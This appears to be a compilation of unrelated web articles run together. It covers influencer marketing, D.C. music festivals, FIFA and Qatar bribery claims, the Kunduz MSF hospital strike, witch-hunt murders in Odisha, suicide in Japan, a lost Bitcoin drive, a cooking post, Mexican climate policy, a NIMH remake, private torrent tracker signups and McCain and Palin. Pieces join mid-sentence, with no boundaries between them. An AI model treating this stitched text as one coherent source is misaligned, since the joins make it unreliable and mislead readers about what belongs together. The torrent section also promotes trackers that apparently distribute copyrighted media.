Instagram influencers such as Baldwin, Hadid, Jenner and Ratajkowski do not merely sell clothes – they sell lifestyles to the millions of women who want to be them and the millions of men who want to be with them. The modeling industry has always dealt with body-image issues among young women. I wonder what people must think when influencers tell them that their looks as well as their entire lives are inferior.
Is it any surprise that researchers from Yale University and the University of California at San Diego recently found in a study of 5,000 adults over two years that the more that one uses Facebook, the worse that one feels? Perhaps both marketers and the world in general need to spend less time on all social media. Except in specific instances like the Fyre Festival, it’s probably not going to help you to sell more stuff anyway.
While many people in the marketing industry, including myself, would prefer that companies stick to endorsements from actual celebrities such as actors, musicians and comedians through media that is more regulated, there is little that we can do about it. It’s a free marketing industry.
According to recent reports from the marketing platform Chute as well as other sources, the use of influencer relations will continue to increase. Celebrities in traditional ads might persuade people to purchase an overpriced watch or get a bad haircut. Today, influencers on social media might get people stuck on an empty island with wild dogs.
I always say: caveat emptor.
The Promotion Fix is an exclusive biweekly column for The Drum contributed by Samuel Scott, director of marketing and communications for AI-powered log analysis software platform Logz.io and a global keynote marketing speaker on integrated traditional and digital marketing. Follow him on Twitter and Facebook. Scott is based out of Tel Aviv, Israel.Written By: Elliott Wallace
Throughout the U.S., major music festivals host some of the world’s most popular artists. But while bigger festivals like Lollapalooza and Coachella might attract higher-profile artists, more regional festivals—think SXSW in Austin or New York’s CMJ Music Marathon—also don’t go unnoticed in the public eye. With more of these festivals sprouting across the country, it provides an open window for D.C.’s creative types to be proactive and stage their own music events in the nation’s capital in support of underground and alternative artists.
One person who can attest first-hand what it’s like to produce such an event is experimental music festival Sonic Circuit’s director Jeff Surak. Being a part of the D.C. experimental music scene since the ’80s, he understands how important these festivals can be for up-and-coming bands.
Surak has performed in the festival since its inception nearly 12 years ago, and has helped to organize it since the mid-2000s. He has watched Sonic Circuits expand to encompass a greater variety of experimental music, and to include different art forms such as installations and film. While the event has seen a steady growth over the years, it also has created problems with finding an appropriate space to host the festival.
“The main problem is that there are no venues that support [experimental acts] and put [them] on regularly on a full-time basis,” Surak laments. He also recognizes that D.C., as a city, is very transient in nature, which has a definite effect on the music and art scene. With a large portion of its denizens brought to the city by work, engaging with the music scene might not necessarily be a prime focus of the population.
That’s not to say that it’s impossible to find. “The audience is here. There are people here who want this kind of music, who want to see it and support it,” and then “there are a lot of performers [of experimental music] as well in the DC area.” Surak makes sure to point out that Sonic Circuits sees a unique audience, a mix of young and old, and an increasing number of performers coming from overseas to participate.
Another music festival that more recently has come into fruition is D.C.-based music blog Sweet Tea Pumpkin Pie’s festival, launched by the website’s head honcho Dave Mann in 2011. Mann’s desire to create the event was originally sparked by his trip to SXSW. After holding two inaugural events in 2011, the first in June and the second in October, the festival this year [which kicks-off tonight] promises to be bigger than ever. Mike Lashinsky, who handles venue booking for STPP, reports that STPP Fest will feature more than 300 bands playing 15 Adams Morgan and U-Street venues, with bands from across the country and even internationally as well.
With major growth already seen two years into the festival, Lashinsky says this year’s outing only marks the tip of the iceberg for the event. “We are trying to grow it year by year,” Lashinsky says, “That’s what we are aiming for: a big music festival with tons of bands, tons of venues-all day.” The ultimate end goal for STPP? “Just to get D.C. more on the music scene and maybe people will pay attention and say, ‘There’s a festival happening every October in D.C.-maybe we should play it next year.’”
Aside from the larger-scale DIY festivals, the District also saw more smaller-scale festivals crop-up, including the first annual Funky Fresh Foodie Fest. Put on by Wonky Promotions, this grub fest featured a variety of D.C. food trucks and hosted popular regional acts. Artists Judo Chop and Flo Anito performed for the crowd, along with a show from District Karaoke.
“[The festival] grew out of a desire to offer people something truly all-inclusive,” says Jeff Kelly, the man behind Wonky Promotions, “We weren’t familiar with anybody who had done something all- inclusive [in D.C.] and certainly not in the realm of food trucks.”
While his company had previously planned events within the food truck industry, the integration of a musical element was something new, but also something that made a lot of sense. As Kelly explains, “There’s [a particular] energy that’s driven by the music that food trucks select.”
In addition to Funky Fresh Foodie Fest, other events like Trillectro [a hip-hop/electronic festival] and Capital Groove Fest [which hosted over a dozen local acts earlier this |
2005-2010".
The payment was allegedly requested a fortnight after Fifa's 22-man executive committee voted to award the 2022 tournament to Qatar in December 2010.
Last March it emerged that the FBI was investigating a series of corruption claims surrounding world football's governing body and that Warner's Miami-based son, Daryan, had agreed to be a co-operating witness.
According to the allegations in the Telegraph, payments totalling at least $750,000 were made to Warner's sons and a further $400,000 was paid to one of his employees.
Bin Hammam was the most senior Qatari football official inside Fifa at the time of the flawed bidding race to host the 2018 and 2022 World Cup tournaments.
He was later banned from football for life after evidence emerged that he had bribed senior officials at the Caribbean Football Union at the height of a bitter battle for the presidency with the incumbent, Sepp Blatter. That ban was annulled by the Court of Arbitration for Sport (Cas), but he was later banned again over "conflicts of interest" while president of the Asian Football Confederation.
On Monday night, the Qatar 2022 Supreme Committee for Delivery and Legacy attempted to distance itself from corruption allegations relating to Bin Hammam, whose lifetime football ban was reiterated by Fifa in December 2012.
It said: "The 2022 Bid Committee strictly adhered to Fifa's bidding regulations in compliance with their code of ethics.
"The Supreme Committee for Delivery and Legacy and the individuals involved in the 2022 Bid Committee are unaware of any allegations surrounding business dealings between private individuals."
The Qatar 2022 organising committee has repeatedly denied any involvement in corruption during the chaotic and ill-defined World Cup bidding race, and sought to distance itself from Bin Hammam.
More than half of the 22 men who voted to award the 2018 World Cup to Russia and the 2022 edition to Qatar are no longer members of the executive committee. Several have been implicated in corruption allegations.
Warner was later found by a detailed Concacaf investigation to have committed fraud and misappropriated football money.
Warner, who claimed the Concacaf report was "baseless and malicious", resigned from football for life in June 2012, a move that Fifa said put him beyond its jurisdiction.
For most of his 28 years as a member of the Fifa executive committee, Warner was surrounded by controversy.
In 2006, he was accused of selling World Cup tickets for three times their value and in 2010 a BBC Panorama programme alleged that he was involved in re-selling tickets for the 2010 tournament.
In 2011, he was claimed to have urged members of the CFU to accept "gifts" of $40,000 in cash from Bin Hammam and vote for him in the upcoming presidential election.
Bin Hammam was found by the court of arbitration for sport to "more likely than not" have brought cash to two meetings in May 2011 which was then handed to Fifa delegates. He has denied wrongdoing.
Controversy has continued to surround the decision to award the 2022 World Cup to Qatar, a country in which temperatures regularly top 40C during the summer months.
In addition to the ongoing debate about whether the tournament should be moved to the winter in order to avoid health risks for players, in-depth reports from human rights organisations and the Guardian have raised serious questions over the rights of migrant workers in the country.
More than 380 Nepalese workers and more than 500 Indian migrants have died in Qatar in the past two years, amid an unprecedented construction boom to prepare the country for the tournament and position it for the future.
Blatter, who has strongly hinted he will stand for re-election in April next year, and the Fifa executive committee will meet later this week with the Qatar World Cup again expected to be high on the agenda.Plato - The Republic Podcast by Plato
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LearnOutLoud.com Review The Republic by Plato is one of the most influential works of philosophy in history. In the form of Socratic dialogue, Plato's teacher and protagonist Socrates sets out to find an answer to the question: "What is justice?". Along the way Socrates discusses the ideal city-state and his theory of forms, which includes his famous allegory of the cave.
This podcast contains all eleven books of The Republic unabridged. It is read by the professional British narrator Patrick Horgan and is available on MP3 download.
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Republic Reviewer Haz The words were really clear and expressive, and it has really helped me with my philosophy module for next year, cheers!
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If this Podcast isn't working, please let us know by emailing us and we will try to fix it ASAP:Nearly three months after a U.S. warplane repeatedly attacked a hospital – immolating patients in their beds and destroying the sprawling Médecins sans frontières facility with sustained heavy gunfire for nearly 30 minutes – the Obama administration is hoping a presidential apology and vague claims that it was all a terrible mistake will defuse calls for an independent international probe into war-crimes allegations.
But neither MSF (Doctors Without Borders) nor leading human-rights organizations such as Human Rights Watch are willing to accept the Pentagon's claim that a series of blunders resulted in the brightly lit and well-marked hospital being destroyed in the otherwise blacked out Afghan city of Kunduz. MSF has delivered a petition bearing more than half-a-million signatures to the White House calling for an international probe, and Human Rights Watch wants senior U.S. officers investigated to determine whether they are criminally accountable.
At least 42 patients and staff were killed in the Oct. 3 attack. Dozens more were seriously wounded, including some who were mowed down as they fled the rapid-firing machine guns on the circling AC-130U Spooky gunship overhead.
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"Perpetrators cannot also be judges," Jason Cone, executive director for MSF in the United States, said to a small gathering of demonstrators holding searing images of the attack before delivering the petition.
MSF wants the Obama administration to drop its opposition to an International Humanitarian Fact-Finding Commission investigation because the Bern-based UN entity can't act without the express consent of those being investigated. Perhaps not surprisingly, the commission hasn't investigated a single alleged war crime in its 24-year history, despite claiming that its "main purpose is to investigate allegations of grave breaches and serious violations of international humanitarian law."
Mr. Cone said the President could underscore the need for all warring countries – not just the United States – to respect the Geneva Conventions, which among other things make it a war crime to attack a hospital, by agreeing to an IHFFC probe.
"There is the principle of consenting to independent scrutiny," Mr. Cone said, adding: "Establishing the facts is also incredibly important, and examining those facts through the lens of international humanitarian law rather than simply whether they adhered to U.S. military procedure."
Days after the attack, which the U.S. military initially justified by claiming the Taliban had taken over the hospital, Mr. Obama called MSF's International President Joanne Liu to offer a brief, but private, apology.
Asked whether he offered any explanation about why the hospital, which was on the U.S. military's protected "no-strike" list, was attacked, Mr. Obama's spokesman Josh Earnest said: "He did not."
Last month, after an internal investigation, General John Campbell, the top U.S. and NATO commander in Afghanistan, blamed "human error," and said a handful of soldiers and airmen who have been suspended from duty might face disciplinary action. "This was a tragic but avoidable accident caused primarily by human error," Gen. Campbell said in a briefing. He outlined a litany of failures, including: computers that didn't work; maps that didn't match; a mission changed part way through; and commanders, both in the air and on the ground, who apparently failed to follow long-established procedures intended to identify and confirm targets.
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Gen. Campbell's account seemed to strain credulity: that the heavily armed flying gunship was pounding the hospital with high-explosive cannon shells for 29 minutes by accident, orbiting overhead and firing more than 200 times when no return fire was coming from the supposed Taliban stronghold in a former prison run by Afghanistan's National Security Directorate.
"The U.S. version of events … leaves MSF with more questions than answers," said Christopher Stokes, MSF general director, after Gen. Campbell's account. "It is shocking that an attack can be carried out when U.S. forces have neither eyes on a target nor access to a no-strike list, and have malfunctioning communications systems."
But since Gen. Campbell delivered his conclusions – that it was all a dreadful blunder and some might be held accountable for failing to follow the rules of engagement – a sharply different version of events has emerged suggesting there was an order for the gunship to attack the building and that a cover-up might be under way.
That prompted Human Rights Watch to demand U.S. Defence Secretary Ash Carter "order a special criminal investigation into the Kunduz attack."
In a letter made public this week, Human Rights Watch Washington director Sarah Margon noted that Duncan Hunter, the senior Republican on the House of Representatives Armed Services Committee, reported he had been told by two U.S. Special Forces soldiers that the attack on the hospital was deliberate and came after the Afghan military identified the building as a Taliban stronghold.
In an earlier letter to Mr. Carter, Mr. Hunter said "inaccurate information and poor intelligence [were] provided by Afghan forces – including information that was both incorrect and unverified by U.S. intelligence and personnel."
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That version matches – in at least some respects – the initial U.S. military explanation and is consistent with claims by senior Afghan government officials that the Taliban were firing from the hospital.
But even if the Taliban had seized the hospital, its protected status under the Geneva Conventions would make it a war crime for the United States to deliberately target it. Nor could the United States unilaterally remove a hospital from protected status without warning.
"As you know, individuals who commit serious violation of the law of war with criminal intent – that is intentionally or recklessly – are responsible for war crimes," Ms. Margon wrote in the Human Rights Watch letter that calls for senior members of the U.S. chain of command to be investigated.
Mr. Cone said the issues go far beyond whether MSF's hospital in Kunduz was destroyed by mistake or intentionally. He notes that several hospitals have been bombed in several war zones in recent months.
"We're in an environment where we have seen hospitals bombed in Syria, Yemen, Afghanistan; these are really grave breaches of international humanitarian law and we can't accept that the U.S. or, frankly, any of those combatants to be the sole investigators of these attacks."
If the Obama administration were to agree to an IHFFC probe, it would "send a signal both to U.S. allies, as in the case of Saudi Arabia, which is leading the bombing in Yemen" and the four out of five permanent members of the UN Security Council currently bombing in Syria, that the Geneva Conventions must be respected, Mr. Cone said.X
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Factslides a high traffic content website (over 1 million visits / month) that takes relevant and complex information from NGOs, think tanks, journals, specialized magazines and media and converts it into colorful and animated slideshows that are easy and fun to read, making the information accessible to students, teachers and curious minds for fun, research, lesson planning, and homework.Factslides is dedicated to provide well-sourced and verified information that will help young people access the information and critical thinking skills they need to make our world a better place.Launched in July, 2013, it has shown its facts over 1000 million times, and was selected among the Top 100 websites of 2013 by the prestigious, and as one of the 99 Sites That Every Professional Should Know About by BusinessInsider. It was also featured in sites such as The Awesomer Design Taxi, I-Am-Bored.com, Neatorama, and DONG, a YouTube show with over a million subscribers.DeCeault, who works as a Web producer for WBEZ, knows all too well what a death trap the ice-glazed incline can be. In February 2012, during his first season of winter biking, he was doing a training ride on a skinny-tired road bike on a particularly windy morning.
Convinced by what he saw farther north that the curve would be ice free, he confidently rounded the bend at a high speed. Then he looked down and saw he was entering a long, slippery stretch. He realized he had to pump his brakes. “As I did, I noticed the wheels start to slide,” he wrote in an e-mail. “My body and bike tilted sideways. Shit!”
DeCeault fell from his bike and landed hard on his side and stomach. “It stung like a b—-,” he recalled. “I grabbed at the ground to halt my journey towards the lake.” He came to a stop, but when he lifted his head, he saw his bike continue to slide towards the edge of the path. “My bike kept going and going and going until—bloop—it dropped off the edge of the concrete and into the lake.”
DeCeault is far from the only local cyclist to crash due to perilous conditions at the Oak Street curve. An NBC Chicago clip from January 2014 showed 18 riders wiping out on black ice at the spot, sometimes two at a time, over the course of a few minutes.
The mayhem resembles something out of a Keystone Cops flick. “There goes another one, down, down, down,” chuckles the cameraman.
The persistence of the problems isn’t so funny. I checked out the path in the middle of last week, a few days after a couple inches of snow had fallen. The Oak Street curve was shellacked with ice and snow, and the trail was barricaded between the beach and the construction site of the Navy Pier Flyover. This $60 million elevated path will soar over Grand Avenue and Illinois Street, eliminating a dangerous trail bottleneck. Much of this stretch was impassable for bike riders, and treacherous for people walking and jogging.
In addition to the flyover, the city recently completed the $31.5 million Fullerton Revetment project, which built 5.8 acres of new lakefront parkland at Fullerton Avenue, and relocated a section of the trail so it’s less exposed to waves.
So are there any plans to fix the Oak Street curve problem in the long term?
Read the rest of the article on the Chicago Reader website.A tribal labourer, his wife and four children — the youngest a three-year-old girl — were hacked to death here Sunday night, allegedly by fellow villagers, on suspicion of practising witchcraft. The attackers reportedly used a sharp weapon and an axe for the crime.
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Gura Munda (40), who worked as a labourer in the nearby iron ore mines, his wife and six children— residents of Mundasahi village, atop the Lahanda hill, in Joda block of Keonjhar district — had gone to bed when they were attacked.
Shortly after midnight, at least five persons reportedly stormed into Gura’s home and stabbed him, his wife Budhini Munda, and six children — sons Sunil (16), Ganita (18), Kushanath (10), Sambhunath (9) and daughters Sambhari (12) and Namita (3). Only Ganita and Sambhunath survived.
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“Last Tuesday, some villagers had a meeting in which they accused Munda of practising witchcraft. The children of few villagers were not keeping well for some time and they suspected Munda to be behind it. People here are mostly illiterate and would believe anything they are told,” said Ajay Pratap Swain, sub-divisional police officer, who is investigating the case.
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Police said they have identified a witness in the case and are likely to arrest all the accused soon. They have already arrested Tamba Munda, the elder brother of Gura Munda, on charges of orchestrating the murder. At least four-five other tribals who reportedly took part in the killings, are on the run.
“The assailants were in an inebriated condition when they went to Gura’s home and killed all of them in their sleep,” said a police official.
Ganita Munda was believed to be dead till a policeman found out that he was still breathing.
“He was pushed aside by the assailants after he was stabbed,” said a villager. His younger brother, Sambhunath Munda, was rushed to the SCB Medical College in Cuttack after his condition became critical.
Meanwhile, the state government has ordered a CID probe into the killings.
Incidentally, this is the fourth case of witchhunting in Keonjhar in the last one year. Despite a series of awareness meetings, five tribals have been murdered in the district.
The village, located on a hilltop, is a steep walk of 500 metres from a nearby school. Though surrounded by iron ore mines of Tatas, Jindals and other big players, it hasn’t seen much development. Only 30 homes have electricity connections.
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“No official comes to our village,” said a villager. Though the state in December 2013 passed Orissa Prevention of Witchhunting Act that makes every offence under the Act cognizable and non-bailable, there have been several cases of assault related to witchcraft this year. At least 278 people have been killed in Odisha in the last five years over witchcraft charges.Last month in Osaka, a high school student, and captain of his basketball team, hanged himself one day after he told his mother that he had been struck 30 or 40 times by his coach. This is one of many such similar incidents that have occurred in Japan over the past few decades in which verbal or physical abuse has pushed the victim to take his or her own life. Faced with the choice of enduring ongoing persecution, bullying, or high stress encounters with others, a significant number of Japanese choose to end their own lives. Indeed, in Japan suicide is seen as, along with bullying, one of the major social issues facing the country.
Annual suicide rates in Japan are considerably higher than in most other industrial countries, normally hovering around 24 suicides per 100,000 people, which is roughly double the rate in the U.S. and three times that in the UK. Put another way, for the last fourteen years at least 30,000 Japanese have killed themselves annually, which is typically about equal in absolute terms to the U.S., which has a population that is almost two and a half times the size of Japan. The Japanese government has taken note of this problem and published a White Paper on the subject that outlined a number of steps and policies to combat it. Tokyo’s subsequent implementation of these policies has not been effective, however.
The question remains, of course, as to why the suicide rate in Japan is so high. Answers are difficult to come by. At least as far back as Ruth Benedict’s book The Chrysanthemum and the Sword, Japanese and Western scholars have argued that Japan is a suicide tolerant culture. I am not convinced. In my own research I have found that Japanese are usually very troubled by suicide and find the act of someone taking their own life to be heart wrenching. That being said, although Japan is a not suicide tolerant society it is important to recognize that, unlike in many Western nations, there is no religiously-guided moral prohibition against suicide, which claims that life is a gift from one’s deity and thus has to be preserved, even if it is intolerable. Rather, in Japan suicide is negatively constructed because it is viewed through the perspective of how it affects those left behind—particularly loved ones. It is accordingly viewed as a selfish act that traumatizes those closest to the person who took their life.
Some scholars looking for structural and social causes behind Japan’s suicide problem have argued that there is a close correlation between unemployment and suicide rates. In fact, during the financial crisis of 1997 and 1998, suicides increased around 35%, a change that would seem to support the idea that there is a strong correlation between economic conditions and suicides in Japan. Employment issues and general economic problems are clearly part of the explanation for the country’s high suicide rates, but only partial—they do not, for instance, explain high suicide rates among teens and the elderly, nor do they address other aspects of Japanese society that may influence suicidal behavior.Nov 29 2013 12:17AM GMT
However bad a day you might have had lately, it can’t compare with that of James Howells.
Howells is the guy from Wales who realized that the hard disk he threw away actually contained a cryptographic key giving him access to Bitcoin – the Internet’s open payment network — worth up to $7.5 million, so now he’s trying to find a way to root through the dump in hopes of finding it.
“Sitting beneath about four feet of garbage in an area of a Welsh landfill the size of a football field sits a fortune — in the form of a computer hard drive that James Howells threw out this summer while cleaning up his workspace,” writes USA Today. “On it: the cryptographic “private key” he needs to access 7,500 Bitcoins. And since the digital currency hit a major milestone yesterday, with a single coin now worth more than $1,000 on the most popular exchange, that tossed hard drive is worth more than $7.5 million.”
So there’s a couple of nuances to that. First of all, the Bitcoin may not *actually* be worth $7.5 mllion. Howells bought the Bitcoin in 2009. Even when he threw the disk drive away earlier this summer, they were worth about $800,000.
“Although Bitcoins have recently become part of the zeitgeist – with Virgin saying it will accept the currency for its Virgin Galactic flights, and central bankers considering its position in finance seriously – Howells generated his in early 2009, when the currency was only known in tech circles,” writes the Guardian. “At that time, a few months after its launch, it was comparatively easy to “mine” the digital currency, effectively creating money by computing: Howells ran a program on his laptop for a week to generate his stash. Nowadays, doing the same would require enormously expensive computing power.”
But just because an individual Bitcoin is worth $1,000 doesn’t mean that he actually may have been able to sell the total for $7.5 million. It’s complicated.
Second of all, Howells could actually have found himself out a lot more than $7.5 million, depending on what else might have been on that disk drive. Throwing away a disk drive with readable data on it? Really?
Periodically, someone discovers that discarded hard disks still have readable data on them. In 2006, a guy bought some hard disks on eBay and discovered all sorts of interesting account information from Idaho Power, a public utility in southwestern Idaho. It turned out that Idaho Power had contracted with a company to destroy 230 hard disks, and the company just put them up on eBay instead. And security experts such as Simson Garfinkel, now Associate Professor at the Naval Postgraduate School in Monterey, Calif., periodically go out and buy hard disks off eBay and Craigslist just to see what sort of interesting stuff people are throwing away.
In 2010, CBS News did a similar report noting that laser printers and photocopiers, too, had hard disks in them that contained data and that people were buying up old printers and finding interesting data on them.
In fact, for the next few months, it might actually be even more of a good idea to be diligent about properly destroying a hard drive. After the news of Howells’ windfall, there may be a sudden surge of interest in discarded hard drives, in case someone else forgot about their Bitcoin trove.
If Howells had destroyed his hard disk properly, he’d still be out the $7.5 million – but at least he wouldn’t be trying to find a way to root through garbage looking for it. (And perhaps he’s better now about doing backups?)
There is one consolation, though – Howells doesn’t have to worry about someone else finding it first. USA Today reports that the city council has said other searchers will be turned away.This week’s theme was definitely a challenge for me. Not having made Brazilian food before, this was a nice learning experience for me with the spices and tastes.
I decided try something simple this time around and went with a chicken and rice dish.
Using the recipes from allrecipes.com for the rice and chicken, I combined the two into a meal, only modifying the chicken recipes slightly. Instead of chicken breasts, I used thighs, cause I like dark meat and I figure it would stay juicy.
Browning the rice with the onions and garlic.
Being Asian and growing up with a rice cooker, it was new to me making rice without the rice cooker (pictured in the left corner there). =p
My two cents: I think I would have used a little less water next time, and a bit more onion and garlic for flavoring, maybe even used a stock instead of just water.
While the rice was going, I worked on the chicken.
This smelled delicious as it was frying up, but the use of so much pepper got into the air, and it was getting a little rough to breathe in the kitchen. So make sure you have the vent going when you start, or crack a window to help get the air moving.
Oh yea, I also put the chicken back into the veggies and coconut milk so it can simmer for a few minutes and get some sauce in there.
All and all, I think it was a pretty successful meal. The flavors worked well with each other and this packed quite a punch with the spicy from the cayenne pepper and jalapenos. One thing I took away from this would be that I would use less coconut milk next time and add some chicken or vegetable stock to it instead.
AdvertisementsMEXICO CITY, Mexico — The communal lands outside San Juan del Rio are a world away from the plush boardrooms of Copenhagen. But here, in the heart of Mexico, the hard, dry earth has a secret to tell, one that could alter next month’s discussions on climate change and affect billions of people around the globe.
For almost two years, President Felipe Calderon has pushed hard to transform Mexico into a leading voice on environmental issues, hosting international summits on climate change and inviting climate guru Al Gore to discuss the dangers of inaction. In June, the president even pledged to cut 50 million tons of carbon dioxide emissions, or 7 percent, per year until he leaves office in 2012, a promise that stunned many of his fellow countrymen.
All the while, Calderon has portrayed Mexico as the rare developing country willing to do its part to fight global warming.
“We all should contribute, each to our own degree, what we can in this fight,” Calderon said in September. “This has caused some tension with our fellow developing countries … but we believe that we can find formulas that will allow everyone to contribute when it comes to this matter of life and death.”
But the president’s proposals have come under strong criticism here in Mexico, where a string of failed programs, scandals and delays have cast doubt on the government’s ability to fix its own environmental problems, let alone design international accords.
The president’s environmental program consists of two pillars: a forestry program called ProArbol and a proposed international “Green Fund” to finance projects intended to reduce greenhouse gas emissions.
ProArbol has come under particular scrutiny, its first two years plagued with poor results and charges of fraud. The program is charged with reforesting 400,000 hectares of forest per year, but a government audit found ProArbol only planted 341,000 in 2007, despite spending all of its funds.
Meanwhile, a Greenpeace investigation earlier this year found that only 8 percent of the trees ProArbol planted two years ago actually survived. In some cases, non-native trees were planted and quickly died, while in others, the trees were already sick or were planted at the wrong time of the year.
Rather than halt deforestation, ProArbol has only made it worse by pretending the problem is under control, said Hector Magallon, head of Greenpeace Mexico’s Forest Campaign. Mexico loses roughly 500,000 hectares of forest per year, ranking it among the five most heavily deforested countries in the world.
Like Calderon’s government as a whole, ProArbol has favored private companies — in this case timber companies and tree nurseries — over more effective, community-based solutions, said Magallon.
Cities like San Juan del Rio, once ringed by hearty forests, now fill with dust from the barren hillsides that surround them. The town of 1,000 sits at the foot of a mountain, its simple cinderblock houses clustered around a small lake. Dry, furrowed farms stretch out toward the highway. Above, the mountain slope looks barren and worn. The newspaper El Universal reported earlier this year that only two out of the 90 trees planted in 2007 by ProArbol in the community of El Coto, near San Juan del Rio, were still alive.
The real focus, however, of Mexico’s green makeover is Calderon’s “Green Fund.” The president has promoted the idea as a potential successor to the soon-to-expire Kyoto Protocol.
The fund would consist of $10 billion donated from all but the poorest of countries around the world. The amount each country contributes would depend on three factors: its GDP per capita plus its present and historical share of greenhouse gas emissions. Rich or developed countries could withdraw up to half of their contributions, while developing countries could withdraw twice their share.
If adopted, the Green Fund “will finance projects oriented toward reducing carbon emissions or capturing carbon from the atmosphere,” Calderon explained last month.
France, Britain and Germany have praised the Green Fund as a good idea. But many countries have balked at endorsing it, or insisted that it supplement a more rigorous, binding agreement on reducing greenhouse gases.
“Getting climate change and the environment onto the table rhetorically is not a small feat, so that has been a success,” said Shannon O’Neil, a Mexico expert at the Council on Foreign Relations. “But the question for the Calderon government over the next three years is: Will there actually be this investment?”
Mexico currently produces 650 million tons of greenhouse gases per year, or 1.5 percent of the world total, making it the 13th largest polluter.
Calderon has said the Green Fund will bring green technology to developing countries that ordinarily wouldn’t have the funds for such projects. But the fund also has its fair share of critics who say that it — like ProArbol — favors large, international corporations.
“The Green Fund doesn’t represent the transferring of technology, but rather the application of technology that’s in the hands of other countries,” said Rosario Perez, a professor of economics and environmental studies at the National Autonomous University of Mexico.
“The money will end up going to the international companies that build the projects,” said Perez, while Mexican businesses “won’t even learn anything, because the technology won’t belong to them.”
Ultimately, the Green Fund is just a finance mechanism, not a quick solution to climate change, said Roberto Cabral, assistant director for strategic financing at Mexico’s Secretariat for Environment and Natural Resources. Nor does it preclude any additional treaties or restrictions on emissions, he added.
And while some have called the Green Fund an attempt to distract attention from Mexico’s bloody drug war, Cabral says the government’s environmental reputation is beyond debate.
“Mexico’s global leadership on this issue is not something we’re searching for,” he said. “It’s a consequence of what we’ve been doing.”
Residents of El Coto might beg to differ.The Secret Of NIMH, the movie that taught so many young animation fans that the American farmer is a heartless murderer and his tractor a ruthless instrument of death, is getting a remake from MGM. The studio has reacquired the rights to Robert C. O’Brien’s novel Mrs. Frisby And The Rats Of NIMH, which served as the basis for Don Bluth’s 1982 masterclass in scarring the movie-going youth of America. The new film, which is set to be a mixture of live-action and CGI, will be written by Ice Age 5 scribe Michael Berg, who reportedly plans to focus on the origins of the Rats of NIMH—recounted in the original with a nightmarish sequence that’s probably responsible for its fair share of adults with a fear of hypodermic syringes. (Bluth probably also owes an apology to anyone afraid of getting sucked to their death down a ventilation shaft.)
MGM’s new version sounds like it’ll go a lot lighter on the “horrific injections sending cuddly animals down spiraling, hallucinatory DNA staircases” elements of the plot, though, describing it instead as a tale of an “imperiled mouse protagonist” who “befriends a comical crew of lab rats as they turn hyper-intelligent.” MGM is apparently looking to turn NIMH into a franchise, so fans of good old fashioned nightmare fuel might want to pitch their expectations more toward wacky antics, and less toward Machiavellian murder rats.Four very specialized and unique private torrent trackers in the BitTorrent community are now open for signup. Yes, all four sites in ‘The.BZ’ tracker family are currently accepting public registrations. This includes The Vault - a business and E-Learning tracker, The Place - a self improvement & lifestyle tracker, The Occult – a mythology, philosophy & religion related tracker and The Box - world’s largest private tracker for British television shows. Although some of these sites do occasionally open registrations (or give away invites on IRC) times when they are all open at the same time are quite rare. If memory serves correct, last time it happened was back in May 2009, more than a year ago. Anyways it’s a great opportunity for those seeking to be part of four very special BitTorrent trackers – over 11500 uncommon, rare torrents which you probably can’t find elsewhere are tracked between these four sites.
Please read the following before starting the signup process:
The captcha on all sites is case sensitive. Make sure to get this correct as you have a limited number of tries available.
Sometimes you may get the error ‘Registration is not allowed’ when trying to sign up. This probably happens when you hit the ‘submit’ button on the signup page several times with some incomplete or wrong information. Re-fill the signup page properly (don’t forget to tick the required checkboxes) and re-try.
It is not known till when open signups would continue. These could be open for a few days or could merely remain open for a few hours. Get in while you can.
Note that this post is a rehash of a similar article which we wrote back in 2009. Tracker statistics and descriptions have been brought up to date in this 2010 version. On with tracker details and signup URLs..
The Vault
The Vault is a private tracker that is focused primarily on money making (both online and offline), search engine optimization, businesses and business management. It has E-Books, videos, audio files, text documents and various other media associated with business related topics such as SEO, money making, sales/marketing, money management, economics, finance, customer service, copywriting, management, leadership, investing, trading, stocks, E-Commerce, real estate, recruitment/interviews, blogging, biographies and lots of other subjects similar to these.
Site Name: The Vault (http://www.thevault.bz)
Signup URL: http://www.thevault.bz/signup.php
Stats: 8000+ users and 24400+ torrents
Invites IRC Channel: irc://irc.thevault.bz:6667/thevault-invites
The Place
The Place is a private tracker that specializes in lifestyle content. From Self Improvement, Fitness, Food, Drinking, Dancing, Health, Fitness, Seduction, NLP and Cooking to Magic Illusions, this tracker has a wide array of content spanning across over 19000 torrent files. This includes videos, E-books and audio files related to day to day human life. A niche tracker in every sense of the word which tracks some very rare torrent files.
Site Name: The Place (http://www.theplace.bz)
Signup URL: http://theplace.bz/signup.php
Stats: 6000+ users and 19500+ torrents
Invites IRC Channel: irc://irc.theplace.bz/invites
The Occult
The Occult is the newest addition to the The.BZ tracker family but it has grown at a rapid pace, adding over 15000 new torrents within a single year. It has some of the most unusual & uncommon torrent categories ever seen on a private tracker (Mythology, Scientology, Drugs, Shamanism, Astrology to name a few). As the name suggests, it specializes in torrents related to various cults, ways of living, religions, healing and so on. Media on TheOccult include PDF E-Books, DVDs, MP3 audio, etc.
Site Name: The Occult (http://theoccult.bz)
Signup URL: http://theoccult.bz/signup.php
Stats: 3000+ users and ~15500 torrents
Notes: Unlike The Vault, The Place and The Box, signups for this tracker have not closed ever since it’s inception.
The Box
Out of all torrent sites featured in this article, The Box is the largest and without a doubt the most popular. It’s specialty is British (UK) TV series including Entertainment, Sports, Comedy, Sci-Fi, Drama, Kids and many other categories. There is a huge collection of UK TV series available on this tracker, spanning across over 50000 torrents. The Box focuses on both old and new TV series. To put it short, anyone who is a fan of UK TV should be a member of this tracker.
Site Name: The Box (http://www.thebox.bz)
Signup URL: http://www.thebox.bz/signup.php
Stats: Over 70000 users and 56900+ torrents
Notes: Signups for this tracker are known to open and close at regular intervals. If you couldn’t get in the first time, keep checking.
Special thanks to Oleg and Bugatti who sent us this news.
Related ArticlesAt the “Civil Forum” at Saddleback Church in Orange County, California this weekend, Senator John McCain (R-AZ) repeated a favorite line of his about Osama bin Laden:
If I have to follow him to the |
Republicans it will be a necessary passage toward either the revival or reinvention of conservatism. Nobody serious on the right doubts that the overhaul is at once required and bound to be arduousbut it may take longer and prove even bloodier than anyone now imagines.
To get a sense of the struggle ahead, a good place to start is with Sarah Palin, who has been the flashpoint for the most severe intra-conservative contretemps so far. In the weeks since her selection as McCain’s running mate, a startling assortment of name-brand pundits on the rightKathleen Parker, George Will, David Frum, David Brookshave pronounced themselves displeased with the pick. Brooks went so far as to declaim that Palin represents a fatal cancer to the Republican Party. Buckley, for his part, tells me that McCain’s vice-presidential choice was roughly 60 percent of the reason that he decided to endorse Obama. I will readily confess that I was one of many who swooned the day after the announcement, he says. But it’s kind of like dating a supermodel. There comes a moment, unfortunately, where they start talking.
